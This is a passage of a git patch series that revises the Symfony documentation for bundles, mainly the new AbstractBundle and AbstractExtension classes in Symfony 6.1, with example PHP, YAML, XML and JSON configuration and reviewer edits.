         // ...
-        App\Acme\TestBundle\AcmeTestBundle::class => ['all' => true],
+        Acme\TestBundle\AcmeTestBundle::class => ['all' => true],
     ];
 
 And while it doesn't do anything yet, AcmeTestBundle is now ready to be used.
@@ -86,26 +105,24 @@ The directory structure of a bundle is meant to help to keep code consistent
 between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
-``Controller/``
+``src/Controller/``
     Contains the controllers of the bundle (e.g. ``RandomController.php``).
 
-``DependencyInjection/``
-    Holds certain Dependency Injection Extension classes, which may import service
-    configuration, register compiler passes or more (this directory is not
-    necessary).
-
-``Resources/config/``
+``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
 
-``Resources/views/``
-    Holds templates organized by controller name (e.g. ``Random/index.html.twig``).
+``templates/``
+    Holds templates organized by controller name (e.g. ``random/index.html.twig``).
+
+``translations/``
+    Holds translations organized by domain and locale (e.g. ``AcmeTestBundle.en.xlf``).
 
-``Resources/public/``
+``public/``
     Contains web assets (images, stylesheets, etc) and is copied or symbolically
     linked into the project ``public/`` directory via the ``assets:install`` console
     command.
 
-``Tests/``
+``tests/``
     Holds all tests for the bundle.
 
 A bundle can be as small or large as the feature it implements. It contains
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 1742457fb36..3df59c8b032 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -431,6 +431,57 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
         <!-- ... -->
     </container>
 
+Defining Configuration directly in your Bundle class
+----------------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+As another option, you can define the extension configuration directly in your Bundle
+class by implementing :class:`Symfony\\Component\\Config\\Definition\\ConfigurableInterface`,
+which is already supported when your bundle extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`::
+
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeFooBundle extends AbstractBundle
+    {
+        public function configure(DefinitionConfigurator $definition): void
+        {
+            // loads config definition from a file
+            $definition->import('../config/definition.php');
+
+            // loads config definition from multiple files (when it's too long you can split it)
+            $definition->import('../config/definition/*.php');
+
+            // if the configuration is short, consider adding it in this class
+            $definition->rootNode()
+                ->children()
+                    ->scalarNode('foo')->defaultValue('bar')->end()
+                ->end()
+            ;
+        }
+    }
+
+This method is a shortcut of the previous "Extension", "Configuration" and "TreeBuilder" convention,
+where you also have the possibility to import configuration definition from an external file::
+
+    // Acme/FooBundle/config/definition.php
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+
+    return static function (DefinitionConfigurator $definition) {
+        $definition->rootNode()
+            ->children()
+                ->scalarNode('foo')->defaultValue('bar')->end()
+            ->end()
+        ;
+    };
+
+.. note::
+
+    The "configure()" method is called only at compiler time.
+
 .. _`FrameworkBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
 .. _`TwigBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/TwigBundle/DependencyInjection/Configuration.php
 .. _`XML namespace`: https://en.wikipedia.org/wiki/XML_namespace
diff --git a/bundles/extension.rst b/bundles/extension.rst
index bbbfd398018..b8bccea6ca8 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -147,3 +147,44 @@ the full classmap executing the ``dump-autoload`` command of Composer.
     This technique can't be used when the classes to compile use the ``__DIR__``
     or ``__FILE__`` constants, because their values will change when loading
     these classes from the ``classes.php`` file.
+
+Loading Services directly in your Bundle class
+----------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+Alternatively, you can define and load services configuration directly in a bundle class
+by extending from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension` method::
+
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+    class AcmeFooBundle extends AbstractBundle
+    {
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            $container->parameters()
+                ->set('foo', $config['foo']);
+
+            $container->import('../config/services.php');
+
+            if ('bar' === $config['foo']) {
+                $container->services()
+                    ->set(Parser::class);
+            }
+        }
+    }
+
+This method is a shortcut of the previous "load()" method, but with more options
+to define and import the service configuration with less effort. The ``$config``
+argument is the previous ``$configs`` array but already merged and processed. And
+through the ``$container`` configurator you can import the services configuration
+from an external file in any supported format (php, yaml, xml) or simply define
+them in place using the fluent interfaces.
+
+.. note::
+
+    The "loadExtension()" like "load()" method is called only at compiler time.
diff --git a/bundles/override.rst b/bundles/override.rst
index bf53eb5ce3c..71bbe40ac7f 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -12,7 +12,7 @@ features of a bundle.
 
     The bundle overriding mechanism means that you cannot use physical paths to
     refer to bundle's resources (e.g. ``__DIR__/config/services.xml``). Always
-    use logical paths in your bundles (e.g. ``@FooBundle/Resources/config/services.xml``)
+    use logical paths in your bundles (e.g. ``@FooBundle/config/services.xml``)
     and call the :ref:`locateResource() method <http-kernel-resource-locator>`
     to turn them into physical paths when needed.
 
@@ -23,12 +23,12 @@ Templates
 
 Third-party bundle templates can be overridden in the
 ``<your-project>/templates/bundles/<bundle-name>/`` directory. The new templates
-must use the same name and path (relative to ``<bundle>/Resources/views/``) as
+must use the same name and path (relative to ``<bundle>/templates/``) as
 the original templates.
 
-For example, to override the ``Resources/views/Registration/confirmed.html.twig``
-template from the FOSUserBundle, create this template:
-``<your-project>/templates/bundles/FOSUserBundle/Registration/confirmed.html.twig``
+For example, to override the ``templates/registration/confirmed.html.twig``
+template from the AcmeUserBundle, create this template:
+``<your-project>/templates/bundles/AcmeUserBundle/registration/confirmed.html.twig``
 
 .. caution::
 
@@ -43,9 +43,9 @@ extend from the original template, not from the overridden one:
 
 .. code-block:: twig
 
-    {# templates/bundles/FOSUserBundle/Registration/confirmed.html.twig #}
+    {# templates/bundles/AcmeUserBundle/registration/confirmed.html.twig #}
     {# the special '!' prefix avoids errors when extending from an overridden template #}
-    {% extends "@!FOSUser/Registration/confirmed.html.twig" %}
+    {% extends "@!AcmeUser/registration/confirmed.html.twig" %}
 
     {% block some_block %}
         ...
@@ -173,7 +173,7 @@ For this reason, you can override any bundle translation file from the main
 ``translations/`` directory, as long as the new file uses the same domain.
 
 For example, to override the translations defined in the
-``Resources/translations/FOSUserBundle.es.yml`` file of the FOSUserBundle,
-create a ``<your-project>/translations/FOSUserBundle.es.yml`` file.
+``translations/AcmeUserBundle.es.yaml`` file of the AcmeUserBundle,
+create a ``<your-project>/translations/AcmeUserBundle.es.yaml`` file.
 
 .. _`the Doctrine documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/inheritance-mapping.html#overrides
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index c23f9133ff4..848ef700267 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -157,3 +157,44 @@ More than one Bundle using PrependExtensionInterface
 If there is more than one bundle that prepends the same extension and defines
 the same key, the bundle that is registered **first** will take priority:
 next bundles won't override this specific config setting.
+
+Prepending Extension directly in your Bundle class
+--------------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+By preference, you can append or prepend extension configuration directly in your Bundle
+class for any bundle by extending from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension` method::
+
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+    class FooBundle extends AbstractBundle
+    {
+        public function prependExtension(ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // prepend
+            $builder->prependExtensionConfig('framework', [
+                'cache' => ['prefix_seed' => 'foo/bar'],
+            ]);
+
+            // append
+            $container->extension('framework', [
+                'cache' => ['prefix_seed' => 'foo/bar'],
+            ])
+
+            // append from file
+            $container->import('../config/packages/cache.php');
+        }
+    }
+
+This method is a shortcut of the previous "PrependExtensionInterface::prepend" method,
+allowing you also to import and append extension config from an external file in one of
+the supported formats (php, yaml, xml).
+
+.. note::
+
+    The "prependExtension()" like "prepend()" method is called only at compiler time.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 6a2c6a6375a..7466cfb0b22 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -99,8 +99,8 @@ that define your bundles, your services and your routes:
     ``RoutingConfigurator`` has methods that make adding routes in PHP more
     fun. You can also load external routing files (shown below).
 
-Advanced Example: Twig, Annotations and the Web Debug Toolbar
--------------------------------------------------------------
+Advanced Example: Configuration, Twig, Annotations and the Web Debug Toolbar
+----------------------------------------------------------------------------
 
 The purpose of the ``MicroKernelTrait`` is *not* to have a single-file application.
 Instead, its goal to give you the power to choose your bundles and structure.
@@ -123,13 +123,15 @@ your ``composer.json`` file to load from there:
 
 Then, run ``composer dump-autoload`` to dump your new autoload config.
 
-Now, suppose you want to use Twig and load routes via annotations. Instead of
-putting *everything* in ``index.php``, create a new ``src/Kernel.php`` to
-hold the kernel. Now it looks like this::
+Now, suppose you want to define a custom configuration for your app,
+use Twig and load routes via annotations. Instead of putting *everything*
+in ``index.php``, create a new ``src/Kernel.php`` to hold the kernel.
+Now it looks like this::
 
     // src/Kernel.php
     namespace App;
 
+    use App\DependencyInjection\AppExtension;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
@@ -146,16 +148,22 @@ hold the kernel. Now it looks like this::
                 new \Symfony\Bundle\TwigBundle\TwigBundle(),
             ];
 
-            if ($this->getEnvironment() == 'dev') {
+            if ('dev' === $this->getEnvironment()) {
                 $bundles[] = new \Symfony\Bundle\WebProfilerBundle\WebProfilerBundle();
             }
 
             return $bundles;
         }
 
+        protected function build(ContainerBuilder $container)
+        {
+            $container->registerExtension(new AppExtension());
+        }
+
         protected function configureContainer(ContainerConfigurator $c): void
         {
             $c->import(__DIR__.'/../config/framework.yaml');
+            $c->import(__DIR__.'/../config/web_profiler.yaml');
 
             // register all classes in /src/ as service
             $c->services()
@@ -163,14 +171,6 @@ hold the kernel. Now it looks like this::
                 ->autowire()
                 ->autoconfigure()
             ;
-
-            // configure WebProfilerBundle only if the bundle is enabled
-            if (isset($this->bundles['WebProfilerBundle'])) {
-                $c->extension('web_profiler', [
-                    'toolbar' => true,
-                    'intercept_redirects' => false,
-                ]);
-            }
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
@@ -205,6 +205,35 @@ Before continuing, run this command to add support for the new dependencies:
 
     $ composer require symfony/yaml symfony/twig-bundle symfony/web-profiler-bundle doctrine/annotations
 
+Next, create a new extension class that defines your app configuration and
+add a service conditionally based on the ``foo`` value::
+
+    // src/DependencyInjection/AppExtension.php
+    namespace App\DependencyInjection;
+
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Extension\AbstractExtension;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+
+    class AppExtension extends AbstractExtension
+    {
+        public function configure(DefinitionConfigurator $definition): void
+        {
+            $definition->rootNode()
+                ->children()
+                    ->booleanNode('foo')->defaultTrue()->end()
+                ->end();
+        }
+
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            if ($config['foo']) {
+                $container->set('foo_service', new stdClass());
+            }
+        }
+    }
+
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:
 
@@ -245,6 +274,46 @@ because the configuration started to get bigger:
             ;
         };
 
+As well as the ``config/web_profiler.yaml`` file:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/web_profiler.yaml
+        when@dev:
+            web_profiler:
+                toolbar: true
+                intercept_redirects: false
+
+    .. code-block:: xml
+
+        <!-- config/web_profiler.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- WebProfilerBundle is enabled only in the "dev" environment -->
+            <when env="dev">
+                <web-profiler:config toolbar="true" intercept-redirects="false"/>
+            </when>
+        </container>
+
+    .. code-block:: php
+
+        // config/web_profiler.php
+        use Symfony\Config\WebProfilerConfig;
+
+        return static function (WebProfilerConfig $webProfiler) {
+            $webProfiler
+                ->toolbar(true)
+                ->interceptRedirects(false)
+            ;
+        };
+
 This also loads annotation routes from an ``src/Controller/`` directory, which
 has one file in it::
 
@@ -257,9 +326,7 @@ has one file in it::
 
     class MicroController extends AbstractController
     {
-        /**
-         * @Route("/random/{limit}")
-         */
+        #[Route('/random/{limit}')]
         public function randomNumber(int $limit): Response
         {
             $number = random_int(0, $limit);

From c93db0b280b50279ef94c03ed6ac6734862760c6 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sat, 14 May 2022 08:39:06 -0400
Subject: [PATCH 1907/5766] Jules' review

---
 bundles/configuration.rst            |  4 +-
 bundles/extension.rst                |  2 +-
 bundles/prepend_extension.rst        |  2 +-
 configuration/micro_kernel_trait.rst | 55 +++++++---------------------
 4 files changed, 17 insertions(+), 46 deletions(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 3df59c8b032..eda734f2020 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -465,7 +465,7 @@ which is already supported when your bundle extend from the :class:`Symfony\\Com
     }
 
 This method is a shortcut of the previous "Extension", "Configuration" and "TreeBuilder" convention,
-where you also have the possibility to import configuration definition from an external file::
+now you also have the possibility to import configuration definition from an external file::
 
     // Acme/FooBundle/config/definition.php
     use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
@@ -480,7 +480,7 @@ where you also have the possibility to import configuration definition from an e
 
 .. note::
 
-    The "configure()" method is called only at compiler time.
+    The "configure()" method is called only at compile time.
 
 .. _`FrameworkBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php
 .. _`TwigBundle Configuration`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/TwigBundle/DependencyInjection/Configuration.php
diff --git a/bundles/extension.rst b/bundles/extension.rst
index b8bccea6ca8..ca88860bbe0 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -187,4 +187,4 @@ them in place using the fluent interfaces.
 
 .. note::
 
-    The "loadExtension()" like "load()" method is called only at compiler time.
+    The "loadExtension()", as the "load()" method, are called only at compile time.
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 848ef700267..479e7d22b08 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -197,4 +197,4 @@ the supported formats (php, yaml, xml).
 
 .. note::
 
-    The "prependExtension()" like "prepend()" method is called only at compiler time.
+    The "prependExtension()" like "prepend()" method is called only at compile time.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 7466cfb0b22..edb1f7426df 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -163,7 +163,6 @@ Now it looks like this::
         protected function configureContainer(ContainerConfigurator $c): void
         {
             $c->import(__DIR__.'/../config/framework.yaml');
-            $c->import(__DIR__.'/../config/web_profiler.yaml');
 
             // register all classes in /src/ as service
             $c->services()
@@ -171,6 +170,14 @@ Now it looks like this::
                 ->autowire()
                 ->autoconfigure()
             ;
+
+            // configure WebProfilerBundle only if the bundle is enabled
+            if (isset($this->bundles['WebProfilerBundle'])) {
+                $c->extension('web_profiler', [
+                    'toolbar' => true,
+                    'intercept_redirects' => false,
+                ]);
+            }
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
@@ -229,11 +236,15 @@ add a service conditionally based on the ``foo`` value::
         public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
         {
             if ($config['foo']) {
-                $container->set('foo_service', new stdClass());
+                $container->set('foo_service', new \stdClass());
             }
         }
     }
 
+.. versionadded:: 6.1
+
+    The ``AbstractExtension`` class is introduced in Symfony 6.1.
+
 Unlike the previous kernel, this loads an external ``config/framework.yaml`` file,
 because the configuration started to get bigger:
 
@@ -274,46 +285,6 @@ because the configuration started to get bigger:
             ;
         };
 
-As well as the ``config/web_profiler.yaml`` file:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/web_profiler.yaml
-        when@dev:
-            web_profiler:
-                toolbar: true
-                intercept_redirects: false
-
-    .. code-block:: xml
-
-        <!-- config/web_profiler.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <!-- WebProfilerBundle is enabled only in the "dev" environment -->
-            <when env="dev">
-                <web-profiler:config toolbar="true" intercept-redirects="false"/>
-            </when>
-        </container>
-
-    .. code-block:: php
-
-        // config/web_profiler.php
-        use Symfony\Config\WebProfilerConfig;
-
-        return static function (WebProfilerConfig $webProfiler) {
-            $webProfiler
-                ->toolbar(true)
-                ->interceptRedirects(false)
-            ;
-        };
-
 This also loads annotation routes from an ``src/Controller/`` directory, which
 has one file in it::
 

From c2c47a21f63b2a5e387f7ca17e4920d8d164750e Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 15 May 2022 14:30:55 -0400
Subject: [PATCH 1908/5766] Update bundle.rst

---
 bundles.rst | 26 +++++++++++++++++++++++---
 1 file changed, 23 insertions(+), 3 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 2c4b20fa694..d1e526228e8 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -82,7 +82,7 @@ method to tell Symfony what is the root directory of your bundle path::
     {
         public function getPath(): string
         {
-            return \dirname(__DIR__);
+            return \dirname(__DIR__); // returns /path/to/Acme/TestBundle/
         }
     }
 
@@ -105,8 +105,8 @@ The directory structure of a bundle is meant to help to keep code consistent
 between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
-``src/Controller/``
-    Contains the controllers of the bundle (e.g. ``RandomController.php``).
+``src/``
+    Contains mainly PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
 
 ``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
@@ -125,6 +125,25 @@ to be adjusted if needed:
 ``tests/``
     Holds all tests for the bundle.
 
+It's recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
+and the location of the bundle's main class (relative to ``composer.json``)
+as value. As the main class is located in the ``src/`` directory of the bundle:
+
+.. code-block:: json
+
+    {
+        "autoload": {
+            "psr-4": {
+                "Acme\\TestBundle\\": "src/"
+            }
+        },
+        "autoload-dev": {
+            "psr-4": {
+                "Acme\\TestBundle\\Tests\\": "tests/"
+            }
+        }
+    }
+
 A bundle can be as small or large as the feature it implements. It contains
 only the files you need and nothing else.
 
@@ -143,3 +162,4 @@ Learn more
 * :doc:`/bundles/prepend_extension`
 
 .. _`third-party bundles`: https://github.com/search?q=topic%3Asymfony-bundle&type=Repositories
+.. _`PSR-4`: https://www.php-fig.org/psr/psr-4/

From d0cba728ea1aae3302192c3f487ca90f42e37d99 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sat, 21 May 2022 10:15:27 -0400
Subject: [PATCH 1909/5766] Remove note after update the feature

---
 bundles.rst | 15 +--------------
 1 file changed, 1 insertion(+), 14 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index d1e526228e8..44731e47582 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -73,20 +73,7 @@ called ``AcmeTestBundle.php``::
     also choose to shorten the name of the bundle to simply TestBundle by naming
     this class TestBundle (and naming the file ``TestBundle.php``).
 
-It's recommended to place your bundle class in the ``src/`` directory and keep out all the
-configuration files, templates, translations, etc. By default, Symfony determines the bundle path from the
-directory where the bundle class is placed, so you have to define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle::getPath`
-method to tell Symfony what is the root directory of your bundle path::
-
-    class AcmeTestBundle extends AbstractBundle
-    {
-        public function getPath(): string
-        {
-            return \dirname(__DIR__); // returns /path/to/Acme/TestBundle/
-        }
-    }
-
-This almost empty class is the only piece you need to create the new bundle. Though
+This empty class is the only piece you need to create the new bundle. Though
 commonly empty, this class is powerful and can be used to customize the behavior
 of the bundle. Now that you've created the bundle, enable it::
 

From 7cf9bf42a0f27f574cc723e0e178fea44531b589 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sat, 21 May 2022 10:54:48 -0400
Subject: [PATCH 1910/5766] Add warning

---
 bundles.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 44731e47582..2b0f224129b 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -62,9 +62,12 @@ called ``AcmeTestBundle.php``::
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` was introduced in Symfony 6.1. If your bundle must be compatible
-    with previous Symfony versions you have to extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`
-    instead.
+    The ``AbstractBundle`` was introduced in Symfony 6.1.
+
+.. warning::
+
+    If your bundle must be compatible with previous Symfony versions you have to
+    extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead.
 
 .. tip::
 

From 558b02eee1988a2cdb28f0236c43b7c3e9795a25 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 22 May 2022 14:29:34 +0200
Subject: [PATCH 1911/5766] Rewrite the bundle docs a bit more

---
 bundles.rst                          |  67 ++++++++------
 bundles/configuration.rst            | 133 +++++++++++++++++----------
 bundles/extension.rst                |  94 ++++++++++---------
 bundles/prepend_extension.rst        |  32 +++----
 configuration/micro_kernel_trait.rst |   4 +-
 5 files changed, 191 insertions(+), 139 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 2b0f224129b..81c21260032 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -46,12 +46,11 @@ Creating a Bundle
 This section creates and enables a new bundle to show there are only a few steps required.
 The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an example
 name that should be replaced by some "vendor" name that represents you or your
-organization (e.g. ABCTestBundle for some company named ``ABC``).
+organization (e.g. AbcTestBundle for some company named ``Abc``).
 
-Start by creating a ``Acme/TestBundle/src/`` directory and adding a new file
-called ``AcmeTestBundle.php``::
+Start by adding creating a new class called ``AcmeTestBundle``::
 
-    // Acme/TestBundle/src/AcmeTestBundle.php
+    // src/AcmeTestBundle.php
     namespace Acme\TestBundle;
 
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
@@ -62,9 +61,10 @@ called ``AcmeTestBundle.php``::
 
 .. versionadded:: 6.1
 
-    The ``AbstractBundle`` was introduced in Symfony 6.1.
+    The :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` was
+    introduced in Symfony 6.1.
 
-.. warning::
+.. caution::
 
     If your bundle must be compatible with previous Symfony versions you have to
     extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead.
@@ -96,7 +96,7 @@ between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
 ``src/``
-    Contains mainly PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
+    Contains all PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
 
 ``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
@@ -115,32 +115,44 @@ to be adjusted if needed:
 ``tests/``
     Holds all tests for the bundle.
 
-It's recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
-and the location of the bundle's main class (relative to ``composer.json``)
-as value. As the main class is located in the ``src/`` directory of the bundle:
+.. caution::
 
-.. code-block:: json
+    The recommended bundle structure was changed in Symfony 5, read the
+    `Symfony 4.4 bundle documentation`_ for information about the old
+    structure.
 
-    {
-        "autoload": {
-            "psr-4": {
-                "Acme\\TestBundle\\": "src/"
-            }
-        },
-        "autoload-dev": {
-            "psr-4": {
-                "Acme\\TestBundle\\Tests\\": "tests/"
+    When using the new ``AbstractBundle`` class, the bundle defaults to the
+    new structure. Override the ``Bundle::getPath()`` method to change to
+    the old structure::
+
+        class AcmeTestBundle extends AbstractBundle
+        {
+            public function getPath(): string
+            {
+                return __DIR__;
             }
         }
-    }
 
-A bundle can be as small or large as the feature it implements. It contains
-only the files you need and nothing else.
+.. tip::
 
-As you move through the guides, you'll learn how to persist objects to a
-database, create and validate forms, create translations for your application,
-write tests and much more. Each of these has their own place and role within
-the bundle.
+    It's recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
+    and the location of the bundle's main class (relative to ``composer.json``)
+    as value. As the main class is located in the ``src/`` directory of the bundle:
+
+    .. code-block:: json
+
+        {
+            "autoload": {
+                "psr-4": {
+                    "Acme\\TestBundle\\": "src/"
+                }
+            },
+            "autoload-dev": {
+                "psr-4": {
+                    "Acme\\TestBundle\\Tests\\": "tests/"
+                }
+            }
+        }
 
 Learn more
 ----------
@@ -152,4 +164,5 @@ Learn more
 * :doc:`/bundles/prepend_extension`
 
 .. _`third-party bundles`: https://github.com/search?q=topic%3Asymfony-bundle&type=Repositories
+.. _`Symfony 4.4 bundle documentation`: https://symfony.com/doc/4.4/bundles.html#bundle-directory-structure
 .. _`PSR-4`: https://www.php-fig.org/psr/psr-4/
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index eda734f2020..374171bd07f 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -315,6 +315,88 @@ In your extension, you can load this and dynamically set its arguments::
             // ... now use the flat $config array
         }
 
+Using the Bundle Class
+----------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class is introduced in Symfony 6.1.
+
+Instead of creating an extension and configuration class, you can also
+extend :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to
+add this logic to the bundle class directly::
+
+    // src/AcmeSocialBundle.php
+    namespace Acme\SocialBundle;
+
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeSocialBundle extends AbstractBundle
+    {
+        public function configure(DefinitionConfigurator $definition): void
+        {
+            $definition->rootNode()
+                ->children()
+                    ->arrayNode('twitter')
+                        ->children()
+                            ->integerNode('client_id')->end()
+                            ->scalarNode('client_secret')->end()
+                        ->end()
+                    ->end() // twitter
+                ->end()
+            ;
+        }
+
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // Contrary to the Extension class, the "$config" variable is already merged
+            // and processed. You can use it directly to configure the service container.
+            $container->services()
+                ->get('acme.social.twitter_client')
+                ->arg(0, $config['twitter']['client_id'])
+                ->arg(1, $config['twitter']['client_secret'])
+            ;
+        }
+    }
+
+.. note::
+
+    The ``configure()`` and ``loadExtension()`` methods are called only at compile time.
+
+.. tip::
+
+    The ``AbstractBundle::configure()`` method also allows to import the
+    configuration definitino from one or more files::
+
+        // src/AcmeSocialBundle.php
+
+        // ...
+        class AcmeSocialBundle extends AbstractBundle
+        {
+            public function configure(DefinitionConfigurator $definition): void
+            {
+                $definition->import('../config/definition.php');
+                // you can also use glob patterns
+                //$definition->import('../config/definition/*.php');
+            }
+
+            // ...
+        }
+
+    .. code-block:: php
+
+        // config/definition.php
+        use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+
+        return static function (DefinitionConfigurator $definition) {
+            $definition->rootNode()
+                ->children()
+                    ->scalarNode('foo')->defaultValue('bar')->end()
+                ->end()
+            ;
+        };
+
 Modifying the Configuration of Another Bundle
 ---------------------------------------------
 
@@ -431,57 +513,6 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
         <!-- ... -->
     </container>
 
-Defining Configuration directly in your Bundle class
-----------------------------------------------------
-
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class is introduced in Symfony 6.1.
-
-As another option, you can define the extension configuration directly in your Bundle
-class by implementing :class:`Symfony\\Component\\Config\\Definition\\ConfigurableInterface`,
-which is already supported when your bundle extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`::
-
-    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-
-    class AcmeFooBundle extends AbstractBundle
-    {
-        public function configure(DefinitionConfigurator $definition): void
-        {
